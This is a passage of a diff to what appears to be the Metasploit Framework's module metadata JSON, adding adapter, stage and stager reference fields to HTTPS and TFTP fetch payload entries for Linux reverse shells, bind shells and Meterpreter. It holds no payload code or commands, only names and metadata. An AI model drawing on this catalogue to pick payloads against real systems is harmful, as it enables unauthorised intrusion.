"payload_cmd/linux/https/x86/meterpreter_reverse_tcp": { "name": "HTTPS Fetch", @@ -181358,7 +181954,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/https/x86", + "adapted_refname": "linux/x86/meterpreter_reverse_tcp", + "staged": false }, "payload_cmd/linux/https/x86/metsvc_bind_tcp": { "name": "HTTPS Fetch, Linux Meterpreter Service, Bind TCP", @@ -181394,7 +181994,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/https/x86", + "adapted_refname": "linux/x86/metsvc_bind_tcp", + "staged": false }, "payload_cmd/linux/https/x86/metsvc_reverse_tcp": { "name": "HTTPS Fetch, Linux Meterpreter Service, Reverse TCP Inline", @@ -181430,7 +182034,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/https/x86", + "adapted_refname": "linux/x86/metsvc_reverse_tcp", + "staged": false }, "payload_cmd/linux/https/x86/read_file": { "name": "HTTPS Fetch, Linux Read File", @@ -181466,7 +182074,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/https/x86", + "adapted_refname": "linux/x86/read_file", + "staged": false }, "payload_cmd/linux/https/x86/shell/bind_ipv6_tcp": { "name": "HTTPS Fetch, Linux Command Shell, Bind IPv6 TCP Stager (Linux x86)", @@ -181504,7 +182116,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/https/x86", + "adapted_refname": "linux/x86/shell/bind_ipv6_tcp", + "staged": true, + "stage_refname": "linux/x86/shell", + "stager_refname": "linux/x86/bind_ipv6_tcp" }, "payload_cmd/linux/https/x86/shell/bind_ipv6_tcp_uuid": { "name": "HTTPS Fetch, Linux Command Shell, Bind IPv6 TCP Stager with UUID Support (Linux x86)", @@ -181543,7 +182161,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/https/x86", + "adapted_refname": "linux/x86/shell/bind_ipv6_tcp_uuid", + "staged": true, + "stage_refname": "linux/x86/shell", + "stager_refname": "linux/x86/bind_ipv6_tcp_uuid" }, "payload_cmd/linux/https/x86/shell/bind_nonx_tcp": { "name": "HTTPS Fetch, Linux Command Shell, Bind TCP Stager", @@ -181579,7 +182203,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/https/x86", + "adapted_refname": "linux/x86/shell/bind_nonx_tcp", + "staged": true, + "stage_refname": "linux/x86/shell", + "stager_refname": "linux/x86/bind_nonx_tcp" }, "payload_cmd/linux/https/x86/shell/bind_tcp": { "name": "HTTPS Fetch, Linux Command Shell, Bind TCP Stager (Linux x86)", @@ -181616,7 +182246,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/https/x86", + "adapted_refname": "linux/x86/shell/bind_tcp", + "staged": true, + "stage_refname": "linux/x86/shell", + "stager_refname": "linux/x86/bind_tcp" }, "payload_cmd/linux/https/x86/shell/bind_tcp_uuid": { "name": "HTTPS Fetch, Linux Command Shell, Bind TCP Stager with UUID Support (Linux x86)", @@ -181654,7 +182290,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/https/x86", + "adapted_refname": "linux/x86/shell/bind_tcp_uuid", + "staged": true, + "stage_refname": "linux/x86/shell", + "stager_refname": "linux/x86/bind_tcp_uuid" }, "payload_cmd/linux/https/x86/shell/find_tag": { "name": "HTTPS Fetch, Linux Command Shell, Find Tag Stager", @@ -181690,7 +182332,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/https/x86", + "adapted_refname": "linux/x86/shell/find_tag", + "staged": true, + "stage_refname": "linux/x86/shell", + "stager_refname": "linux/x86/find_tag" }, "payload_cmd/linux/https/x86/shell/reverse_ipv6_tcp": { "name": "HTTPS Fetch, Linux Command Shell, Reverse TCP Stager (IPv6)", @@ -181727,7 +182375,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/https/x86", + "adapted_refname": "linux/x86/shell/reverse_ipv6_tcp", + "staged": true, + "stage_refname": "linux/x86/shell", + "stager_refname": "linux/x86/reverse_ipv6_tcp" }, "payload_cmd/linux/https/x86/shell/reverse_nonx_tcp": { "name": "HTTPS Fetch, Linux Command Shell, Reverse TCP Stager", @@ -181763,7 +182417,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/https/x86", + "adapted_refname": "linux/x86/shell/reverse_nonx_tcp", + "staged": true, + "stage_refname": "linux/x86/shell", + "stager_refname": "linux/x86/reverse_nonx_tcp" }, "payload_cmd/linux/https/x86/shell/reverse_tcp": { "name": "HTTPS Fetch, Linux Command Shell, Reverse TCP Stager", @@ -181801,7 +182461,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/https/x86", + "adapted_refname": "linux/x86/shell/reverse_tcp", + "staged": true, + "stage_refname": "linux/x86/shell", + "stager_refname": "linux/x86/reverse_tcp" }, "payload_cmd/linux/https/x86/shell/reverse_tcp_uuid": { "name": "HTTPS Fetch, Linux Command Shell, Reverse TCP Stager", @@ -181839,7 +182505,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/https/x86", + "adapted_refname": "linux/x86/shell/reverse_tcp_uuid", + "staged": true, + "stage_refname": "linux/x86/shell", + "stager_refname": "linux/x86/reverse_tcp_uuid" }, "payload_cmd/linux/https/x86/shell_bind_ipv6_tcp": { "name": "HTTPS Fetch, Linux Command Shell, Bind TCP Inline (IPv6)", @@ -181875,7 +182547,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/https/x86", + "adapted_refname": "linux/x86/shell_bind_ipv6_tcp", + "staged": false }, "payload_cmd/linux/https/x86/shell_bind_tcp": { "name": "HTTPS Fetch, Linux Command Shell, Bind TCP Inline", @@ -181911,7 +182587,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/https/x86", + "adapted_refname": "linux/x86/shell_bind_tcp", + "staged": false }, "payload_cmd/linux/https/x86/shell_bind_tcp_random_port": { "name": "HTTPS Fetch, Linux Command Shell, Bind TCP Random Port Inline", @@ -181949,7 +182629,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/https/x86", + "adapted_refname": "linux/x86/shell_bind_tcp_random_port", + "staged": false }, "payload_cmd/linux/https/x86/shell_find_port": { "name": "HTTPS Fetch, Linux Command Shell, Find Port Inline", @@ -181985,7 +182669,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/https/x86", + "adapted_refname": "linux/x86/shell_find_port", + "staged": false }, "payload_cmd/linux/https/x86/shell_find_tag": { "name": "HTTPS Fetch, Linux Command Shell, Find Tag Inline", @@ -182021,7 +182709,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/https/x86", + "adapted_refname": "linux/x86/shell_find_tag", + "staged": false }, "payload_cmd/linux/https/x86/shell_reverse_tcp": { "name": "HTTPS Fetch, Linux Command Shell, Reverse TCP Inline", @@ -182058,7 +182750,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/https/x86", + "adapted_refname": "linux/x86/shell_reverse_tcp", + "staged": false }, "payload_cmd/linux/https/x86/shell_reverse_tcp_ipv6": { "name": "HTTPS Fetch, Linux Command Shell, Reverse TCP Inline (IPv6)", @@ -182094,7 +182790,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/https/x86", + "adapted_refname": "linux/x86/shell_reverse_tcp_ipv6", + "staged": false }, "payload_cmd/linux/tftp/mips64/meterpreter_reverse_http": { "name": "TFTP Fetch", @@ -182132,7 +182832,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/tftp/mips64", + "adapted_refname": "linux/mips64/meterpreter_reverse_http", + "staged": false }, "payload_cmd/linux/tftp/mips64/meterpreter_reverse_https": { "name": "TFTP Fetch", @@ -182170,7 +182874,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/tftp/mips64", + "adapted_refname": "linux/mips64/meterpreter_reverse_https", + "staged": false }, "payload_cmd/linux/tftp/mips64/meterpreter_reverse_tcp": { "name": "TFTP Fetch", @@ -182208,7 +182916,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/tftp/mips64", + "adapted_refname": "linux/mips64/meterpreter_reverse_tcp", + "staged": false }, "payload_cmd/linux/tftp/x64/exec": { "name": "TFTP Fetch, Linux Execute Command", @@ -182244,7 +182956,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/tftp/x64", + "adapted_refname": "linux/x64/exec", + "staged": false }, "payload_cmd/linux/tftp/x64/meterpreter/bind_tcp": { "name": "TFTP Fetch, Bind TCP Stager", @@ -182280,7 +182996,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/tftp/x64", + "adapted_refname": "linux/x64/meterpreter/bind_tcp", + "staged": true, + "stage_refname": "linux/x64/meterpreter", + "stager_refname": "linux/x64/bind_tcp" }, "payload_cmd/linux/tftp/x64/meterpreter/reverse_sctp": { "name": "TFTP Fetch, Reverse SCTP Stager", @@ -182316,7 +183038,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/tftp/x64", + "adapted_refname": "linux/x64/meterpreter/reverse_sctp", + "staged": true, + "stage_refname": "linux/x64/meterpreter", + "stager_refname": "linux/x64/reverse_sctp" }, "payload_cmd/linux/tftp/x64/meterpreter/reverse_tcp": { "name": "TFTP Fetch, Reverse TCP Stager", @@ -182353,7 +183081,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/tftp/x64", + "adapted_refname": "linux/x64/meterpreter/reverse_tcp", + "staged": true, + "stage_refname": "linux/x64/meterpreter", + "stager_refname": "linux/x64/reverse_tcp" }, "payload_cmd/linux/tftp/x64/meterpreter_reverse_http": { "name": "TFTP Fetch", @@ -182390,7 +183124,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/tftp/x64", + "adapted_refname": "linux/x64/meterpreter_reverse_http", + "staged": false }, "payload_cmd/linux/tftp/x64/meterpreter_reverse_https": { "name": "TFTP Fetch", @@ -182427,7 +183165,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/tftp/x64", + "adapted_refname": "linux/x64/meterpreter_reverse_https", + "staged": false }, "payload_cmd/linux/tftp/x64/meterpreter_reverse_tcp": { "name": "TFTP Fetch", @@ -182464,7 +183206,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/tftp/x64", + "adapted_refname": "linux/x64/meterpreter_reverse_tcp", + "staged": false }, "payload_cmd/linux/tftp/x64/pingback_bind_tcp": { "name": "TFTP Fetch, Linux x64 Pingback, Bind TCP Inline", @@ -182499,7 +183245,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/tftp/x64", + "adapted_refname": "linux/x64/pingback_bind_tcp", + "staged": false }, "payload_cmd/linux/tftp/x64/pingback_reverse_tcp": { "name": "TFTP Fetch, Linux x64 Pingback, Reverse TCP Inline", @@ -182534,7 +183284,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/tftp/x64", + "adapted_refname": "linux/x64/pingback_reverse_tcp", + "staged": false }, "payload_cmd/linux/tftp/x64/shell/bind_tcp": { "name": "TFTP Fetch, Linux Command Shell, Bind TCP Stager", @@ -182569,7 +183323,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/tftp/x64", + "adapted_refname": "linux/x64/shell/bind_tcp", + "staged": true, + "stage_refname": "linux/x64/shell", + "stager_refname": "linux/x64/bind_tcp" }, "payload_cmd/linux/tftp/x64/shell/reverse_sctp": { "name": "TFTP Fetch, Linux Command Shell, Reverse SCTP Stager", @@ -182605,7 +183365,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/tftp/x64", + "adapted_refname": "linux/x64/shell/reverse_sctp", + "staged": true, + "stage_refname": "linux/x64/shell", + "stager_refname": "linux/x64/reverse_sctp" }, "payload_cmd/linux/tftp/x64/shell/reverse_tcp": { "name": "TFTP Fetch, Linux Command Shell, Reverse TCP Stager", @@ -182641,7 +183407,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/tftp/x64", + "adapted_refname": "linux/x64/shell/reverse_tcp", + "staged": true, + "stage_refname": "linux/x64/shell", + "stager_refname": "linux/x64/reverse_tcp" }, "payload_cmd/linux/tftp/x64/shell_bind_ipv6_tcp": { "name": "TFTP Fetch, Linux x64 Command Shell, Bind TCP Inline (IPv6)", @@ -182676,7 +183448,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/tftp/x64", + "adapted_refname": "linux/x64/shell_bind_ipv6_tcp", + "staged": false }, "payload_cmd/linux/tftp/x64/shell_bind_tcp": { "name": "TFTP Fetch, Linux Command Shell, Bind TCP Inline", @@ -182711,7 +183487,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/tftp/x64", + "adapted_refname": "linux/x64/shell_bind_tcp", + "staged": false }, "payload_cmd/linux/tftp/x64/shell_bind_tcp_random_port": { "name": "TFTP Fetch, Linux Command Shell, Bind TCP Random Port Inline", @@ -182746,7 +183526,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/tftp/x64", + "adapted_refname": "linux/x64/shell_bind_tcp_random_port", + "staged": false }, "payload_cmd/linux/tftp/x64/shell_find_port": { "name": "TFTP Fetch, Linux Command Shell, Find Port Inline", @@ -182781,7 +183565,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/tftp/x64", + "adapted_refname": "linux/x64/shell_find_port", + "staged": false }, "payload_cmd/linux/tftp/x64/shell_reverse_ipv6_tcp": { "name": "TFTP Fetch, Linux x64 Command Shell, Reverse TCP Inline (IPv6)", @@ -182816,7 +183604,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/tftp/x64", + "adapted_refname": "linux/x64/shell_reverse_ipv6_tcp", + "staged": false }, "payload_cmd/linux/tftp/x64/shell_reverse_tcp": { "name": "TFTP Fetch, Linux Command Shell, Reverse TCP Inline", @@ -182851,7 +183643,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/tftp/x64", + "adapted_refname": "linux/x64/shell_reverse_tcp", + "staged": false }, "payload_cmd/linux/tftp/x86/adduser": { "name": "TFTP Fetch, Linux Add User", @@ -182889,7 +183685,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/tftp/x86", + "adapted_refname": "linux/x86/adduser", + "staged": false }, "payload_cmd/linux/tftp/x86/chmod": { "name": "TFTP Fetch, Linux Chmod", @@ -182925,7 +183725,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/tftp/x86", + "adapted_refname": "linux/x86/chmod", + "staged": false }, "payload_cmd/linux/tftp/x86/exec": { "name": "TFTP Fetch, Linux Execute Command", @@ -182963,7 +183767,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/tftp/x86", + "adapted_refname": "linux/x86/exec", + "staged": false }, "payload_cmd/linux/tftp/x86/generic/debug_trap": { "name": "TFTP Fetch, Generic x86 Debug Trap", @@ -182999,7 +183807,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/tftp/x86", + "adapted_refname": "generic/debug_trap", + "staged": false }, "payload_cmd/linux/tftp/x86/generic/tight_loop": { "name": "TFTP Fetch, Generic x86 Tight Loop", @@ -183035,7 +183847,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/tftp/x86", + "adapted_refname": "generic/tight_loop", + "staged": false }, "payload_cmd/linux/tftp/x86/meterpreter/bind_ipv6_tcp": { "name": "TFTP Fetch, Bind IPv6 TCP Stager (Linux x86)", @@ -183073,7 +183889,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/tftp/x86", + "adapted_refname": "linux/x86/meterpreter/bind_ipv6_tcp", + "staged": true, + "stage_refname": "linux/x86/meterpreter", + "stager_refname": "linux/x86/bind_ipv6_tcp" }, "payload_cmd/linux/tftp/x86/meterpreter/bind_ipv6_tcp_uuid": { "name": "TFTP Fetch, Bind IPv6 TCP Stager with UUID Support (Linux x86)", @@ -183112,7 +183934,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/tftp/x86", + "adapted_refname": "linux/x86/meterpreter/bind_ipv6_tcp_uuid", + "staged": true, + "stage_refname": "linux/x86/meterpreter", + "stager_refname": "linux/x86/bind_ipv6_tcp_uuid" }, "payload_cmd/linux/tftp/x86/meterpreter/bind_nonx_tcp": { "name": "TFTP Fetch, Bind TCP Stager", @@ -183149,7 +183977,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/tftp/x86", + "adapted_refname": "linux/x86/meterpreter/bind_nonx_tcp", + "staged": true, + "stage_refname": "linux/x86/meterpreter", + "stager_refname": "linux/x86/bind_nonx_tcp" }, "payload_cmd/linux/tftp/x86/meterpreter/bind_tcp": { "name": "TFTP Fetch, Bind TCP Stager (Linux x86)", @@ -183187,7 +184021,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/tftp/x86", + "adapted_refname": "linux/x86/meterpreter/bind_tcp", + "staged": true, + "stage_refname": "linux/x86/meterpreter", + "stager_refname": "linux/x86/bind_tcp" }, "payload_cmd/linux/tftp/x86/meterpreter/bind_tcp_uuid": { "name": "TFTP Fetch, Bind TCP Stager with UUID Support (Linux x86)", @@ -183226,7 +184066,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/tftp/x86", + "adapted_refname": "linux/x86/meterpreter/bind_tcp_uuid", + "staged": true, + "stage_refname": "linux/x86/meterpreter", + "stager_refname": "linux/x86/bind_tcp_uuid" }, "payload_cmd/linux/tftp/x86/meterpreter/find_tag": { "name": "TFTP Fetch, Find Tag Stager", @@ -183263,7 +184109,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/tftp/x86", + "adapted_refname": "linux/x86/meterpreter/find_tag", + "staged": true, + "stage_refname": "linux/x86/meterpreter", + "stager_refname": "linux/x86/find_tag" }, "payload_cmd/linux/tftp/x86/meterpreter/reverse_ipv6_tcp": { "name": "TFTP Fetch, Reverse TCP Stager (IPv6)", @@ -183300,7 +184152,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/tftp/x86", + "adapted_refname": "linux/x86/meterpreter/reverse_ipv6_tcp", + "staged": true, + "stage_refname": "linux/x86/meterpreter", + "stager_refname": "linux/x86/reverse_ipv6_tcp" }, "payload_cmd/linux/tftp/x86/meterpreter/reverse_nonx_tcp": { "name": "TFTP Fetch, Reverse TCP Stager", @@ -183337,7 +184195,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/tftp/x86", + "adapted_refname": "linux/x86/meterpreter/reverse_nonx_tcp", + "staged": true, + "stage_refname": "linux/x86/meterpreter", + "stager_refname": "linux/x86/reverse_nonx_tcp" }, "payload_cmd/linux/tftp/x86/meterpreter/reverse_tcp": { "name": "TFTP Fetch, Reverse TCP Stager", @@ -183376,7 +184240,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/tftp/x86", + "adapted_refname": "linux/x86/meterpreter/reverse_tcp", + "staged": true, + "stage_refname": "linux/x86/meterpreter", + "stager_refname": "linux/x86/reverse_tcp" }, "payload_cmd/linux/tftp/x86/meterpreter/reverse_tcp_uuid": { "name": "TFTP Fetch, Reverse TCP Stager", @@ -183415,7 +184285,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/tftp/x86", + "adapted_refname": "linux/x86/meterpreter/reverse_tcp_uuid", + "staged": true, + "stage_refname": "linux/x86/meterpreter", + "stager_refname": "linux/x86/reverse_tcp_uuid" }, "payload_cmd/linux/tftp/x86/meterpreter_reverse_http": { "name": "TFTP Fetch", @@ -183453,7 +184329,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/tftp/x86", + "adapted_refname": "linux/x86/meterpreter_reverse_http", + "staged": false }, "payload_cmd/linux/tftp/x86/meterpreter_reverse_https": { "name": "TFTP Fetch", @@ -183491,7 +184371,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/tftp/x86", + "adapted_refname": "linux/x86/meterpreter_reverse_https", + "staged": false }, "payload_cmd/linux/tftp/x86/meterpreter_reverse_tcp": { "name": "TFTP Fetch", @@ -183529,7 +184413,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/tftp/x86", + "adapted_refname": "linux/x86/meterpreter_reverse_tcp", + "staged": false }, "payload_cmd/linux/tftp/x86/metsvc_bind_tcp": { "name": "TFTP Fetch, Linux Meterpreter Service, Bind TCP", @@ -183565,7 +184453,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/tftp/x86", + "adapted_refname": "linux/x86/metsvc_bind_tcp", + "staged": false }, "payload_cmd/linux/tftp/x86/metsvc_reverse_tcp": { "name": "TFTP Fetch, Linux Meterpreter Service, Reverse TCP Inline", @@ -183601,7 +184493,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/tftp/x86", + "adapted_refname": "linux/x86/metsvc_reverse_tcp", + "staged": false }, "payload_cmd/linux/tftp/x86/read_file": { "name": "TFTP Fetch, Linux Read File", @@ -183637,7 +184533,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/tftp/x86", + "adapted_refname": "linux/x86/read_file", + "staged": false }, "payload_cmd/linux/tftp/x86/shell/bind_ipv6_tcp": { "name": "TFTP Fetch, Linux Command Shell, Bind IPv6 TCP Stager (Linux x86)", @@ -183675,7 +184575,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/tftp/x86", + "adapted_refname": "linux/x86/shell/bind_ipv6_tcp", + "staged": true, + "stage_refname": "linux/x86/shell", + "stager_refname": "linux/x86/bind_ipv6_tcp" }, "payload_cmd/linux/tftp/x86/shell/bind_ipv6_tcp_uuid": { "name": "TFTP Fetch, Linux Command Shell, Bind IPv6 TCP Stager with UUID Support (Linux x86)", @@ -183714,7 +184620,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/tftp/x86", + "adapted_refname": "linux/x86/shell/bind_ipv6_tcp_uuid", + "staged": true, + "stage_refname": "linux/x86/shell", + "stager_refname": "linux/x86/bind_ipv6_tcp_uuid" }, "payload_cmd/linux/tftp/x86/shell/bind_nonx_tcp": { "name": "TFTP Fetch, Linux Command Shell, Bind TCP Stager", @@ -183750,7 +184662,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/tftp/x86", + "adapted_refname": "linux/x86/shell/bind_nonx_tcp", + "staged": true, + "stage_refname": "linux/x86/shell", + "stager_refname": "linux/x86/bind_nonx_tcp" }, "payload_cmd/linux/tftp/x86/shell/bind_tcp": { "name": "TFTP Fetch, Linux Command Shell, Bind TCP Stager (Linux x86)", @@ -183787,7 +184705,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/tftp/x86", + "adapted_refname": "linux/x86/shell/bind_tcp", + "staged": true, + "stage_refname": "linux/x86/shell", + "stager_refname": "linux/x86/bind_tcp" }, "payload_cmd/linux/tftp/x86/shell/bind_tcp_uuid": { "name": "TFTP Fetch, Linux Command Shell, Bind TCP Stager with UUID Support (Linux x86)", @@ -183825,7 +184749,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/tftp/x86", + "adapted_refname": "linux/x86/shell/bind_tcp_uuid", + "staged": true, + "stage_refname": "linux/x86/shell", + "stager_refname": "linux/x86/bind_tcp_uuid" }, "payload_cmd/linux/tftp/x86/shell/find_tag": { "name": "TFTP Fetch, Linux Command Shell, Find Tag Stager", @@ -183861,7 +184791,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/tftp/x86", + "adapted_refname": "linux/x86/shell/find_tag", + "staged": true, + "stage_refname": "linux/x86/shell", + "stager_refname": "linux/x86/find_tag" }, "payload_cmd/linux/tftp/x86/shell/reverse_ipv6_tcp": { "name": "TFTP Fetch, Linux Command Shell, Reverse TCP Stager (IPv6)", @@ -183898,7 +184834,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/tftp/x86", + "adapted_refname": "linux/x86/shell/reverse_ipv6_tcp", + "staged": true, + "stage_refname": "linux/x86/shell", + "stager_refname": "linux/x86/reverse_ipv6_tcp" }, "payload_cmd/linux/tftp/x86/shell/reverse_nonx_tcp": { "name": "TFTP Fetch, Linux Command Shell, Reverse TCP Stager", @@ -183934,7 +184876,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/tftp/x86", + "adapted_refname": "linux/x86/shell/reverse_nonx_tcp", + "staged": true, + "stage_refname": "linux/x86/shell", + "stager_refname": "linux/x86/reverse_nonx_tcp" }, "payload_cmd/linux/tftp/x86/shell/reverse_tcp": { "name": "TFTP Fetch, Linux Command Shell, Reverse TCP Stager", @@ -183972,7 +184920,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/tftp/x86", + "adapted_refname": "linux/x86/shell/reverse_tcp", + "staged": true, + "stage_refname": "linux/x86/shell", + "stager_refname": "linux/x86/reverse_tcp" }, "payload_cmd/linux/tftp/x86/shell/reverse_tcp_uuid": { "name": 